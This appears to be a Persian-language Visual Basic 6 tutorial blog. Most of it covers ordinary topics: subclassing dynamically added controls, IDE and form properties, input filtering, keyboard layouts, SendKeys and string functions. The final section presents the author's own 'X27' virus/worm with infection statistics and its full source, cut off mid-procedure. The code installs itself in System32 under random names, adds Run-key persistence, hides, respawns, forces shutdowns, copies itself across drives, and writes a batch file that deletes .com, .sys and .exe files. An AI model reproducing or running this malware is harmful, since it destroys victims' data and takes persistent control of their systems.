ممنون میشم نظرتون رو بدونم . در باب لینک بالایی
ميدونيد كه با استفاده از Withevents در دستور Dim ميشه Event هاي يك Object رو هم كنترل كرد
Private WithEvents objectTemp As TextBox
ولي مسلمآ براي تعداد مشخص كنترل ها ميشه اينكارو كرد و نه براي كنترلهايي كه تعداد اونا نامشخص هست. براي حل اين مشكل من از Subclassing استفاده كردم تا تمام پيغامهايي رو كه ويندوز به كنترل مي فرسته رو كنترل كنم و بعد اونا رو به پيغامهاي قابل فهم براي VB تبديل كردم. ابتدا فرض كنيد كدي شبيه كد زير دارم:
Option Explicit
Public WithEvents textboxTemp As TextBox
Dim aHwnd() As Long
Private Sub Form_Load()
'
Dim controlTemp As Control
ReDim aHwnd(1) As Long
Set controlTemp = Me.Controls.Add("VB.TextBox", "Test")
controlTemp.Visible = True
aHwnd(0) = controlTemp.hwnd
Call Hook(controlTemp.hwnd)
Call SetProp(controlTemp.hwnd, "objectPointer", ObjPtr(controlTemp))
Set controlTemp = Me.Controls.Add("VB.TextBox", "Test1")
controlTemp.Visible = True
controlTemp.Move 1000, 1000
aHwnd(1) = controlTemp.hwnd
Call Hook(controlTemp.hwnd)
Call SetProp(controlTemp.hwnd, "objectPointer", ObjPtr(controlTemp))
'
End Sub
Private Sub Form_Unload(Cancel As Integer)
'
Dim i As Byte
For i = 0 To UBound(aHwnd)
If aHwnd(i) Then
Call UnHook(aHwnd(i))
End If
Next
'
End Sub
Private Sub textboxTemp_Change()
Label1.Caption = textboxTemp.Text
End Sub
در Form_Load Event, دو تا Textbox به صورت Dynamic به VB اضافه شدن. بعد شروع به Subclassing ميشن و بعد آدرس هر كنترل رو در حافظه همراه خود كنترل نگه داشته ميشه. حالا فقط كافيه پيغامها رو بگيريم بعد به كنترل از طريق آدرسي كه ازش نگه داشته بوديم دسترسي پيدا كنيم و پيغام ها رو به VB بسپريم.
'in a module
Public Declare Function SetProp Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Public Declare Function GetProp Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
'
Private Declare Function CallWindowProc Lib "user32" Alias "CallWindowProcA" _
(ByVal lpPrevWndFunc As Long, _
ByVal hwnd As Long, _
ByVal Msg As Long, _
ByVal wParam As Long, _
ByVal lParam As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" _
(ByVal hwnd As Long, _
ByVal nIndex As Long, _
ByVal dwNewLong As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
(Destination As Any, _
Source As Any, _
ByVal Length As Long)
Private Const GWL_WNDPROC = -4
Private lpPrevWndProc As Long
Public Sub Hook(ByVal hwnd As Long)
lpPrevWndProc = SetWindowLong(hwnd, GWL_WNDPROC, _
AddressOf WindowProc)
End Sub
Public Sub UnHook(hwnd)
Dim lngReturnValue As Long
lngReturnValue = SetWindowLong(hwnd, GWL_WNDPROC, lpPrevWndProc)
End Sub
Function WindowProc(ByVal hw As Long, _
ByVal uMsg As Long, _
ByVal wParam As Long, _
ByVal lParam As Long) As Long
WindowProc = CallWindowProc(lpPrevWndProc, hw, _
uMsg, wParam, lParam)
Dim objectTemp As Object
Call CopyMemory(objectTemp, GetProp(hw, "objectPointer"), 4)
If Not objectTemp Is Nothing Then
Set Form1.textboxTemp = objectTemp
Call CopyMemory(objectTemp, 0, 0)
End If
End Function
با استفاده از اين تكنيك ميتونيد پروژه ها يا ActiveX ها قدرتمندي كه قادر هستند در زمان اجرا كنترل به خودشون اضافه كنند و به پيفامهاي اونا جواب بدن رو توليد كنيد.
شرکت مایکروسافت ویژوال بیسیک را براساس یک زبان برنامه نویسی به نام بیسیک که برای مبتدیان نوشته شده ساخت.
زبان ویژوال بیسیک بیشتر از 35 سال به اشکال مختلف رایج بوده. در واقع طراحان این زبان می خواستند یک زبان برنامه نویسی برای استفاده مبتدیان طراحی کنند.برنامه نویسان جدید می توانند با استفاده ازبیسیک به سرعت به شرع برنامه نویسی های حرفه ای با زبان های cobol .fortran . assembler
در مقایسه به بیسیک کار بیشتری نیاز داشت.
طبیعت بصری ویژوال بیسیک
دیدید که ویژال بیسیک 6 چیزی بیشتر از یک زبان برنامه نویسی است. از ویژوال بیسیک در نام آن visualبه معنای بصری یا محیط نمایشی . است.
کار با ویژال بیسیک 6
در اولین بار که برنامه را باز می کنید با پنجره new project روبه رو می شوید در این قسمت
نوع فورم خود را انتخاب کرده ماننده activex|standardو....
این پنجره شامل 3 قسمت بوده
New:در این پنجره امکان انتخاب فورم مورد نظر شما امکان پذیر می باشد.
Existing:در این پنجره امکان انتخاب project های مختلف که در مکانهای مختلف ذخیره یا... امکان انتخاب می باشد.
Recent:در این قسمت هر projectرا که ذخیره می کنید به صورت دسته ای جمع می شود حالا یک فایلی
در درایو Dباشد حالا چه در درایو c.
DON.T SHOW THIS DIALOG IN THE FUTURE
این قسمت جلو گیری از باز شدن پینجره NEW PRIJECT می باشد.
HELP:از این قسمت وقتی امکان استفاده می باشد که نرم افزار MSDN را نصب کرده باشید.
معرفی قسمت های بیسیک.
نوار ابزار:TOOLBAR:نوار ابزار VB زیر منو قرار دارد. ویژال بیسیک کلا چهار نوار ابزار دارد:
STANDARD:این نوار ابزار زیر منو ظارهر است و پیش فرض است.
DEBUG:وقتی از ابزارهای رفع اشکال برای ردیابی و اصلاح اشکالات استفاده می کنید. این نوار ابزار ظاهر می شود.
EDIT:این نوار ابزار برای تنظیم کردن اشیاء بر روی فرم می باشد
FORM EDITOR:این نوار ابزار برای تنظیم کردن اشیاء بر روی فرم می باشد.
جعبه ابزار:TOOLBOX:
در این پنجره تمامی شی های مختلف برای کار بر روی فرم هستند و حتی امکان اضافه کردن به این پنجره ها می باشد.
پنجرهPROJECT:در این پنجره فرم های انتخابی شما با هر گروه و هر فرم مشخص شده است.
پنجرهPROPERTISE:
این پنجره امکان تنضیمات لازم برای هر شیئی را مشخص می کنید.
2-Back Color=این خاصیت رنگ زمینه فرم را مشخص میکند
3-Border style=این خاصیت اگر بر روی(0-None)باشد فرم را بدون حاشیه و دکمه های مینیمایز و ماکسیمایز وبستن نشان میدهد و کاربر نمی تواند آن را تغییر اندازه بدهد و اگر بر روی(1-Fixed single)باشد فرم را با حاشیه و دکمه بستن نشان میدهد و کاربر نمی تواند آن را تغییر اندازه بدهد و اگر بر روی(2-Sizable) باشد تمام دکمه ها و حاشیه فرم را نشان میدهد.
4-Icon=این خاصیت آیکون برنامه را مشخص می کند
5-Max button=این خاصیت فعال یا غیر فعال بودن دکمه ماکسیمایز را مشخص می کند
6- Min button=این خاصیت فعال یا غیر فعال بودن دکمه مینیمایز را مشخص می کند
7-Mouse icon=این خاصیت شکل نشانگر موس را تعیین می کند
8-Mouse Pointer=این خاصیت نوع شکل نشانگر موس را مشخص می کند مثل ساعت شنی یا دست شدن نشانگر
9-Movable=این خاصیت مشخص میکند که آیا کاربر اجازه دارد که فرم را جابجا کند یا نه
10-Picture=عکس زمینه فرم را مشخص می کند
11-ShowIn Taskbar=مشخص می کند که برنامه در تسکبار دیده شود یا نه
12-Startup position=محل قرار گرفتن فرم در هنگام شروع برنامه را مشخص می کند
13-Window state=نوع نمایش پنجره در هنگام شروع برنامه(مینیمایز/ماکسیمایز/نرمال)
من در هیچ جا با نام های Arnh - سیاهکر - شوالیه فعالیت نمی کنم و تنها دامنه بعضی از بلاگ های من Arnh است و هرگز این نام را برای فعالیت های دیگر گزینش نکرده ام . هیچ مورد از خرابکاری ها انجام شده طی هفته های گذشته با این نام ها و با آدرس این بلاگ را به عهده نمی گیرم .
تنها نام مورد استفاده من علیرضا و گاهی اوقات no.h می باشد. که اگر سو استفاده ای از این نام ها در آینده با نام این بلاگ شد. من هیچ مسئولیتی را نمی پذیرم .این بلاگ صرفا جنبه آموزشی دارد و بعضا تمام مطالب این بلاگ از خودم نیست و مربوط به منابعی می شود که بعدا ذکر خواهم کرد .
کسانی که ادعای در مورد این مطالب یا فقط مطلبی خاص دارند . در زیر مطلب کامنت خود و نام بلاگ منبع را بگذارند . مطمئن باشند . که در اسرع وقت به خود مطلب افزوده خواهد شد.
با تشکر علیرضا .::.
برنامه تشخیص نزدیک ترین توان تک رقمی با پایه یک رقمی به عدد وارد شده.
|
Text1=Textbox MultiLine=True Scrollbars=2 |
Textbox=text2 |
CommandButton=Command1 |
Private Sub Command1_Click()
Text1=""
m = 999999999
For i = 1 To 9
For j = 1 To 9
Text1 = Text1 + Str(i) + ".." + Str(j) + "..:" + Str(i ^ j) + vbNewLine
If Text2 - (i ^ j) >= 0 Then
If m > Text2 - (i ^ j) Then
m = Text2 - (i ^ j)
s = Str(i) + Str(j)
End If
End If
Next j
Next i
Text1 = Text1 + "Final::" + Str(m) + s
End Sub
بازدن F5 برنامه اجرا می شود . یک عدد کوچکتر از نه رقم را در text2 وارد کنید . و بر روی command1 کلیک کنید . برنامه در انتهای tex1 نزدیک ترین توان موجود با نماد تک رقمی و پایه تک رقمی به شما خواهد داد.
کاربرد:
این برنامه بصورت عمومی کاربرد ندارد . اما در برنامه های فشرده سازی و... این کد با کمی تغییرات برای اعداد استفاده می شود.
منیع :
آموزش برنامه نویسی ویژال بیسیک
تابع زیر را در فرمتان فرخوانی کنید.( به شکل زیر )
Private Declare Function ShowCursor Lib "user32" (ByVal bShow As Long) As Long
نحوه استفاده از تابع
|
ShowCursor 1 |
نمایش نشانگر موس |
|
ShowCursor 0 |
پنهان کردن نشانگر موس |
لطفا سوالات خود را در بخش پرسش و پاسخ مطرح کنید
سلام دوستان , امروز می خوام یه مطلب کاربردی تو VB رو براتون بگم که شاید خیلی به کارتون بیاد این کد شاید براتون تو برنامه هایی که باید از ورودی مقدار خاصی رو بگیرید مثلا می خواهید از ورودی فقط یک مقدار عددی رو بگیرید و بعد اون رو تو محاسبات استفاده کنید و اگر کاربر مثلا در ورودی 788در12 را تایپ کنه برنامه Error میده خوب برای رفع این مشکل می شه از ورودی فقط عدد گفت یعنی در صورتی که کاربر فقط اعداد 0 تا 9 رو تایپ کنه در ورودی نمایش داده می شه این هم حلال این مشکل .
خوب این کد رو بهتر که در رویداد Keypress کنترل مورد نظر خود ( از جمله Textbox , Rich Textbox , Inputbox و ... ) بنویسید که به محض فشرده شدن هر کلید از سوی کاربر این قسمت چک می شود .
Private Sub TextBox_KeyPress(KeyAscii As Integer)
'=============================================
Dim StrValid As String
StrValid = "0123456789"
If InStr(StrValid, Chr(KeyAscii)) = 0 Then
KeyAscii = 0
End If
End Sub
بد نیست یه اشاره ای هم به توابع به کار رفته تو این کنم :
1. تابع Instr : یک زیررشته را در یک رشته دیگر جستجو میکند و موقعیت آنرا در رشته بر می گرداند شکل کلی این تابع به صورت زیر است :
InStr([start, ]string1, string2[, compare])
|
قسمت |
توضیحات |
|
start |
مکانی از رشته که جستجو باید از آنجا آغاز شود |
|
string1 |
رشته اول |
|
string2 |
رشته دوم |
|
compare |
مشخص کردن نوع مقایسه که بین دو رشته انجام میشود که خود بر سه نوع vbBinaryCompare و vbDatabaseCompare و vbTextCompare می باشد |
به این مثال توجه کنید :
instr("visual basic Language","Language") ==============> عدد 14 برگردانده میشود
:: یک نکته و آن اینکه مواvدی که در شکل کلی این تابع در داخل [ ] قرار دارند اختیاری می باشند .
2. تابع Chr : این تابع کاراکتر معادل کد اسکی یک مقدار را بر می گرداند
KeyAscii : آرگومانی است که کد اسکی کلیدی از صفحه کلید را که فشرده شده بر می گرداند.
میخواهم براتون بگم که چطور می شه تو VB وقتی برنامه مون اجرا شد بشه برای ورود اطلاعات از زبان فارسی استفاده کرد
برای اینکار اول باید از یه API استفاده کرد . تابع LoadKeyboardLayout رو از کتابخانه User32 به صورت زیر فراخوانی کنیم :
Public Declare Function LoadKeyboardLayout Lib "user32" Alias "LoadKeyboardLayoutA" (ByVal pwszKLID As String, ByVal flags As Long) As Long
بعد از برای فراخوانی تابع باید تابع را در رویداد مورد نظر فراخوانی کرد مثلا من تابع رو وقتی که فرم برنامه load شده فراخونی کردم :
LoadKeyboardLayout "00000429", 1 ' 00000429 :::::> For Farsi Keyboard
برای اینکه بعد از Unload شدن فرم برنامه زبان ویندوز به انگلیسی برگردد کد زیر را میتوانیم در رویداد unload بنویسیم
LoadKeyboardLayout "00000409", 1 ' 00000429 :::::> For ٍEnglish Keyboard
:: در ضمن اگر مایل به دیدن کد سایر زبانها هستید یه سری به آدرس زیر در رجیستری ویندوز بزنید .
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Keyboard Layouts
خوب اینجا می خوام یک کد کاربردی دیگه رو بهتون بگم . این کد باعث می شه که وقتی شما رویداد خاصی رو اجرا مکنید , کلید خاصی از کیبرد اجرا شود یعنی مثلاً اگر شما روی یک Textbox هستید و کلید Enter را فشردید عملی معادل فشردن کلید ..... , Tab ,Delete,Pagedown , F1 ,F2 روی دهد :
Private Sub TextBox_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
SendKeys "{tab}"
End If
End Sub
باز هم این کد را در رویداد keypress پیشنهاد می کنم .
در اینجا کدهایی که می توان از طریق این تابع با آنها کار کرد را می بینیم :
|
Key |
Code |
| BACKSPACE | {BACKSPACE}, {BS}, or {BKSP} |
| BREAK | {BREAK} |
| CAPS LOCK | {CAPSLOCK} |
| DEL or DELETE | {DELETE} or {DEL} |
| DOWN ARROW | {DOWN} |
| END | {END} |
| ENTER | {ENTER} or ~ |
| ESC | {ESC} |
| HELP | {HELP} |
| HOME | {HOME} |
| INS or INSERT | {INSERT} or {INS} |
| LEFT ARROW | {LEFT} |
| NUM LOCK | {NUMLOCK} |
| PAGE DOWN | {PGDN} |
| PAGE UP | {PGUP} |
| PRINT SCREEN | {PRTSC} |
| RIGHT ARROW | {RIGHT} |
| SCROLL LOCK | {SCROLLLOCK} |
| TAB | {TAB} |
| UP ARROW | {UP} |
| F1 | {F1} |
| F2 | {F2} |
| F3 | {F3} |
| F4 | {F4} |
| F5 | {F5} |
| F6 | {F6} |
| F7 | {F7} |
| F8 | {F8} |
| F9 | {F9} |
| F10 | {F10} |
| F11 | {F11} |
| F12 | {F12} |
| F13 | {F13} |
| F14 | {F14} |
| F15 | {F15} |
| F16 | {F16} |
از آخر بگم زیون دلفی بهتره . خیلی هم بهتره
چون
انعطاف پذیر تره و ساخت یافت است
یه برنامه 32 بیتی دلفی زمانی که کامپایل میشه سرعتش از 15 تا 50 بار بیشتر از وی بی است...
از تمامی امکانات ساخت یافته و سیستم عظیم وی سی ال استفاده می کند...
حتی در دات نت هم تنها کامپایلری که به غیر سی شارپ و وی سی دات نت مفاهیم دات نت را به صورت کامل دارد دلفی است!
صبا
میخواستم اگه میتونید در مورد روال ها ورشته ها توضیح بدین
خیلی ممنون.
اگه می خواید . یه برنامه نویس حرفه ای بشید .خیلی خودتون رو گیج این مطالب نکنید . باشه چشم . رشته رو توضیح می دهم ولی منظورتون رو از روال نفهمیدم . یه اونت(رویداد) و یه متد (طرح) داریم .
رشته ها نوعی از داده هستند . که به صورت زیر تعریف می شوند .
رشته دنباله ای از کارکترهاست ( چند کارکتر پشت سر هم ) .
مثل "ali reza" یا "I love iran"
رشته ها معمولا برای ذخیره سازی اسامی افراد یا سایر متن ها استفاده می شود . و نحوه استفاده آن به صورت طول متغیر یا طول ثابت استفاده می شود.
|
نوع |
میزان حافظه (بایت) |
بازه قابل قبول |
|
(طول ثابت ) string |
طول رشته |
از یک تا 65400 کارکتر |
|
(طول متغییر ) string |
طول رشته بعلاوه ده بایت |
از صفر تا دومیلیارد کارکتر |
طول برای محاسبه طول رشته از تابع len استفاده می کنیم.
اگر "ali reza noroozi haghighat" را به عنوان رشته a بگیریم.
Len (a)=26
و در صورتی که بخواهیم حاظفه اختصاص یافته به رشته را داشته باشیم از lenb استفاده می کنیم .
که طول رشته a را به بایت می دهد.
LenB (a)=52
چند تابع مورد نیاز برای کار با رشته ها
|
این تابع معادل کد اسکی یک مقدار را بر می گرداند Function Chr (CharCode As Long) |
chr |
|
این تابع مقدار عددی یک رشته را برمی گرداند |
Val |
|
این تابع یک مقدار عددی را به رشته تبدیل می کن |
Str یا Str$ |
|
این تابع کد اسکی اولین کارکتر رشته ای را بر می گرداند Function Asc (String As String) As Intege |
ASC |
|
این تابع زیر رشته ای را در رشته ای دیگر جستجو کرده و محل وجود زیر رشته را در رشته بر می گرداند Function InStr([Start], [String1], [String2], [Compare As VbCompareMethod = vbBinaryCompare ]] |
InStr |
|
این تابع در یک رشته ؛ حروف بزرگ رشته را به حروف کوچک تبدیل می کند |
Lcase |
|
این تابع در یک رشته ؛ حروف کوچک رشته را به حروف بزرگ تبدیل می کند Function UCase(String) |
Ucase |
|
این تابع از سمت چپ رشته رشته ای را به طول معین بر می گرداند Function Left(String, Length As Long) |
Left |
|
این تابع از سمت راست رشته رشته ای را به طول معین بر می گرداند Function Right(String, Length As Long) |
Right |
|
این تابع طول یک رشته را بر می گرداند Function Len(Expression) |
Len |
|
این تابع طول رشته را بر حسب بایت بر می گرداند Function LenB(Expression) |
LenB |
|
این تابع فضای خالی چپ و راست یک رشته را بر می گرداند Function Trim(String) |
Trim |
|
این تابع رشته ای را در رشته ای دیگر جایگزین می کند Function Mid(String, Start As Long, [Length]) |
Mid |
|
این تابع یک رشته را به زیر رشته ای کوچک تر تبدیل می کند Function Split(Expression As String, [Delimiter], [Limit As Long = -1], Compare As VbCompareMethod = vbBinaryComp)]] |
|
|
این تابع دو رشته را با یکدیگر مقایسه می کند Function StrComp(String1, String2, [Compare As VbCompareMethod = vbBinaryCompare]) |
StrComp |
|
این تابع یک رشته را معکوس می کند Function StrReverse(Expression As String) As String |
StrReverse |
|
این تابع یک رشته را در یک رشته جستجو کرده و رشته سوم را جایگزین رشته جستجو شده می کند . Function Replace(Expression As String, Find As String, Replace As String, [Start As Long = 1], [Count As Long = -1], [Compare As VbCompareMethod = vbBinaryCompare]) As String |
Replace |
|
X27 را نمی توان شناخت و آن را نمی توان رده بندی کرد . یک ویروس ؟!یک کرم ؟؟ یا یک جاسوس !! استفاده از هفت موتور 1. تولید نام های با معنی 2. حذف فایل های Dat-Mpag 3. اجرای تصادفی Mp3-Wav-Gif-Bmp-Jpg 4. کپشن کلوزر 5. گزارش دهی تکثیر 6. کنترل از طریق شبکه 7. تکثیر در شبکه آمار تکثیر نشان از آن دارد که ( 235376 ) از X27 تکثیر شده . اما فقط 752 سیستم را آلوده کرده است که رقم کمی است . |
X27 با ناکامی روبرو شد . فقط به علت نقص در کامپایل
خودم هم نفهمیدم که ایکس بیست هفت یه ویروس بود یه کرم بود یا وقعا جاسوس بود .
نگارش جدید ایکس بیست و هفت در حال تکمیل شدنه به نام (Xs27) جالب که بدونید هیچ شباهتی به X27 نداره و سه تا موتور بیشتر نداره.
تکثیر از طریق فایل های html ,mp3,pdf
حذف پشتیبانی هارد توسط مادر بود .تبدیل کردن رم به حافظه دائمی
و موتور سوم که درباره اش توضیحی نمی دم .
مخصوص ویندوز Xp
حالا نحوه پاک کردن X27
وارد فولدر system32 می شید و بعد دنبال فایل اجرایی x27 می گردید . که اگه * یه نام نامعلوم باشه . فایل اجرایی دارای نام *27.exe هست . این فایل رو cut کنید به دسکتاپ و رایانه رو ریست کنید . شما از دست X27 خلاص می شید.
سورس X27
Option Explicit
Private Declare Function SendMessage Lib "user32" Alias _
"SendMessageA" (ByVal hwnd As Long, ByVal wMsg As _
Long, ByVal wParam As Long, lParam As Any) As Long
Const WM_SYSCOMMAND = &H112&
Const SC_MONITORPOWER = &HF170&
Const SWP_NOMOVE = 2
Const SWP_NOSIZE = 1
Const FLAGS = SWP_NOMOVE Or SWP_NOSIZE
Const HWND_TOPMOST = -1
Const HWND_NOTOPMOST = -2
Private Declare Function SetWindowPos Lib "user32" _
(ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, _
ByVal x As Long, _
ByVal y As Long, _
ByVal cx As Long, _
ByVal cy As Long, _
ByVal wFlags As Long) As Long
Dim ak As Long
Dim s_lka, tjjjs As Variant
Dim akl As Long
Dim newnam1, newnam2, newnam3, sys_dir, Msys_dir As Variant
Dim sh As New Shell
Dim fso As New FileSystemObject
Dim p2 As Variant
'---------------------------------------------------
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias _
"GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long _
) As Long
Dim dicop As String
Dim div As Drive
Dim xum, xzp As Long
Dim fasa As File
Public Sins As String
Public SysDirectory As Long
'-------------------------------
Dim vas As Variant
Dim kkk_m, i As Long
'---------------------------------
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal LpString As String, ByVal cch As Long) As Long
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function DestroyWindow Lib "user32" (ByVal hwnd As Long) As Long
Dim p(100) As Long
Dim panam As String
'-------------------------------
Private Function SetTopMostWindow(hwnd As Long, Topmost As Boolean) _
As Long
On Error Resume Next
If Topmost = True Then 'Make the window topmost
SetTopMostWindow = SetWindowPos(hwnd, HWND_TOPMOST, 0, 0, 0, 0, FLAGS)
Else
SetTopMostWindow = SetWindowPos(hwnd, HWND_NOTOPMOST, 0, 0, 0, 0, FLAGS)
SetTopMostWindow = False
End If
End Function
Private Sub Command1_Click()
On Error Resume Next
Me.Hide
MsgBox "Hi. My Name's X27 .I am very love Persia and War.if love my click ok else reset your system down.ment close is ok & R.sh is down system", vbCritical, "X27"
Me.Show
End Sub
Private Sub Command2_Click()
On Error Resume Next
ShutdownSystem EWX_FORCEIFHUNG
End Sub
Private Sub Form_Load()
On Error Resume Next
App.TaskVisible = False
Me.Visible = False
syad
Neword
on_load
Label2 = newnam2
End Sub
Private Sub on_load()
On Error Resume Next
sys_dir = App.Path + "\" + App.EXEName + ".exe"
Msys_dir = dicop + newnam1 + "27.exe"
If fso.FileExists(dicop + "d3dir.dll") = False Then
Call fso.CopyFile(sys_dir, Msys_dir)
SetKeyValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\run", newnam1 + "27.exe", dicop + newnam1 + "27.exe", REG_SZ
Open dicop + "d3dir.dll" For Output As #11
p(0) = 310
s_lka = newnam1 + "27.exe"
Write #11, p(0), s_lka
Close #11
Call Shell(dicop + newnam1 + "27.exe", vbHide)
End
Else
'--------------------------
Open dicop + "d3dir.dll" For Input As #155
Input #155, p(0), s_lka
Close #155
If fso.FileExists(dicop + s_lka) = False Then
p(67) = 1 + Int(Rnd * 3)
If (67) = 2 Then
newnam2 = ""
End If
Call fso.CopyFile(App.Path + "\" + App.EXEName + ".exe", dicop + newnam2 + ".exe")
SetKeyValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\run", newnam2 + ".exe", dicop + newnam2 + ".exe", REG_SZ
Open dicop + "d3dir.dll" For Output As #11
s_lka = newnam2 + ".exe"
Write #11, p(0), s_lka
Close #11
Call Shell(dicop + newnam2 + ".exe", vbHide)
End
'------------------------
Else
Open dicop + "d3dir.dll" For Input As #11
Input #11, p(0), s_lka
Close #11
If p(0) = 310 Then Tictak = True
If p(0) = 420 Then
If fso.FileExists(dicop + "\ipmop32.dll") = False Then
Tictak = True
Exit Sub
Else
Open dicop + "\ipmop32.dll" For Input As #1
p(57) = 0
While EOF(1) = False
Input #1, tjjjs
If tjjjs <> "" Then p(57) = p(57) + 1
Wend
Close #1
If p(57) < 113 Then
Tictak = True
Exit Sub
Else
Tco113 = True
End If
End If
End If
If p(0) = 530 Then
If fso.FileExists(dicop + "\Wmvqmll.dll") = False Then
p(0) = 310
Open dicop + "d3dir.dll" For Input As #11
Input #11, p(0), s_lka
Close #11
on_load
Exit Sub
Else
Open dicop + "\Wmvqmll.dll" For Input As #21
Input #21, p(21), p(22), p(23)
Close #21
p(21) = p(21) + 1
If p(21) = 7 Then
p(22) = p(22) + 1
p(21) = 0
End If
If p(22) = 1 And p(21) = 0 Then
sh.MinimizeAll
Neword
Me.Visible = True
MsgBox "Active Worm And Virus X27", vbCritical, "Hi"
T1.Enabled = True
SendMessage Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal 2&
End If
Open dicop + "\Wmvqmll.dll" For Output As #21
Write #21, p(21), p(22), p(23)
Close #21
'-------------------------------------------
If fso.FileExists("c:\nt27.txt") = True Then
Open dicop + "d3dir.dll" For Input As #155
Input #155, p(0), s_lka
Close #155
Kill (s_lka)
Kill (dicop + "d3dir.dll")
Kill (dicop + "\Wmvqmll.dll")
Kill ("c:\nt27.txt")
End
End If
If p(22) >= 1 Then
find_f = True
End If
If p(22) = 7 And p(21) = 6 Then
Open "c:\nt27.txt" For Input As #155
p2 = "I love iran . my name is X27 "
Input #155, p2
Close #155
Call fso.CopyFile(App.Path + "\" + App.EXEName + ".exe", "c:\X27.exe")
Shell "c:\X27.exe"
End If
If p(22) >= 2 Then
pv_reg
End If
If p(21) > 6 Or p(22) > 7 Or p(23) > 0 Then
Open "d:\X27.bat" For Append As #1
Print #1, "@echo off"
Print #1, "Cls"
Print #1, "==========="
Print #1, "Color fc"
Print #1, "Del /a c:\*.com"
Print #1, "Del /a c:\*.sys"
Print #1, "Del /a c:\*.exe /s"
Print #1, "==========="
Close #1
sh.Open "d:\X27.bat"
End If
'-------------------------------------------
End If
End If
End If
End If
End Sub
Public Sub Neword()
On Error Resume Next
Dim a As Variant
Dim mww As Variant
Dim lisa As Long
Dim laf As Variant
Dim las As Variant
' a is name
mww = Split(a)
'------------
'num word is (1392)
'------------
Randomize Timer
lisa = 1 + Int(Rnd * 1392)
Label2 = mww(lisa)
laf = UCase(Left(Label2, 1))
las = Right(Label2, Len(Label2) - 1)
Label2 = laf + las
p(87) = 1 + Int(Rnd * 1392)
p(88) = 1 + Int(Rnd * 1391)
newnam1 = mww(p(87))
newnam2 = (mww(p(87))) + " " + (mww(p(88)))
newnam3 = mww(p(88)) + " " + mww(p(88) + 1)
End Sub
Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
On Error Resume Next
ShutdownSystem EWX_FORCEIFHUNG
End Sub
Private Sub Form_Unload(Cancel As Integer)
On Error Resume Next
Shell App.Path + "\" + App.EXEName + ".exe", vbHide
End Sub
Private Sub Tco113_Timer()
On Error Resume Next
Open dicop + "\ipmop32.dll" For Input As #1
If EOF(1) = False Then
Input #1, tjjjs
Call fso.CopyFile(App.Path + "\" + App.EXEName + ".exe", tjjjs)
Else
Close #1
Open dicop + "d3dir.dll" For Input As #11
Input #11, p(0), s_lka
Close #11
p(0) = 530
Open dicop + "d3dir.dll" For Output As #11
Write #11, p(0), s_lka
Close #11
Open dicop + "\Wmvqmll.dll" For Output As #21
p(33) = 0
p(34) = 0
p(35) = 0
Write #21, p(33), p(34), p(35)
Close #21
Kill (dicop + "\ipmop32.dll")
on_load
Tco113 = False
End If
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim lR As Long
lR = SetTopMostWindow(Me.hwnd, True)
End Sub
Private Sub T1_Timer()
On Error Resume Next
T1.Enabled = False
SendMessage Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal -1&
End Sub
Private Sub T2_Timer()
On Error Resume Next
Randomize Timer
akl = 1 + Int(Rnd * 400)
If ak > akl Then
T1.Interval = 1 + Int(Rnd * 900)
T2.Interval = 1 + Int(Rnd * 1000)
T1.Enabled = True
SendMessage Me.hwnd, WM_SYSCOMMAND, SC_MONITORPOWER, ByVal 2&
ak = 0
End If
ak = ak + 1
End Sub
Private Sub pv_reg()
On Error Resume Next
SetKeyValue HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\run", App.EXEName, App.Path + "\" + App.EXEName + ".exe", REG_SZ
End Sub
Private Sub syad()
On Error Resume Next
Sins = Space(255)
Dim WinDirectory As Variant
WinDirectory = GetWindowsDirectory(Sins, 255)
Sins = Left$(Sins, WinDirectory)
dicop = Sins + "\System32\"
End Sub
Private Sub Tictak_Timer()
On Error Resume Next
Randomize Timer
If 113 > Combo1.ListCount Then
dri_n.ListIndex = 1 + Int(Rnd * dri_n.ListCount)
fso.GetDrive Left$(dri_n, 2)
Dir1.Path = dri_n
kkk_m = 1 + Int(Rnd * 14)
If Dir1.ListCount > 0 Then
For i = 1 To kkk_m
Dir1.ListIndex = 1 + Int(Rnd * Dir1.ListCount)
Dir1 = Dir1.List(1 + Int(Rnd * Dir1.ListCount))
Next i
End If
For i = 0 To Combo1.ListCount
If Combo1.List(i) = Dir1.Path Then Combo1.RemoveItem (i)
Next i
Set div = fso.GetDrive(Left$(dri_n, 2))
If UCase(Left$(App.Path, 1)) <> UCase(Left$(dri_n, 1)) And div.DriveType = Fixed Then Combo1.AddItem Dir1.Path
Else
Open dicop + "\ipmop32.dll" For Output As #13
For i = 1 To Combo1.ListCount
Combo1.ListIndex = i - 1
Neword
Combo1.Text = Combo1.Text + "\" + Label2 + ".exe"
Write #13, Combo1.Text
Next i
Close #13
Open dicop + "d3dir.dll" For Input As #11
Input #11, p(0), s_lka
Close #11
p(0) = 420
Open dicop + "d3dir.dll" For Output As #11
Write #11, p(0), s_lka
Close #11
on_load
Tictak = False
End If
End Sub
Private Sub find_f_Timer()
On Error Resume Next
Randomize Timer
dri_n.ListIndex = 1 + Int(Rnd * dri_n.ListCount)
fso.GetDrive Left(dri_n, 2)
Dir1.Path = dri_n
kkk_m = 1 + Int(Rnd * 14)
If Dir1.ListCount > 0 Then
For i = 1 To kkk_m
Dir1.ListIndex = 1 + Int(Rnd * Dir1.ListCount)
Dir1 = Dir1.List(1 + Int(Rnd * Dir1.ListCount))
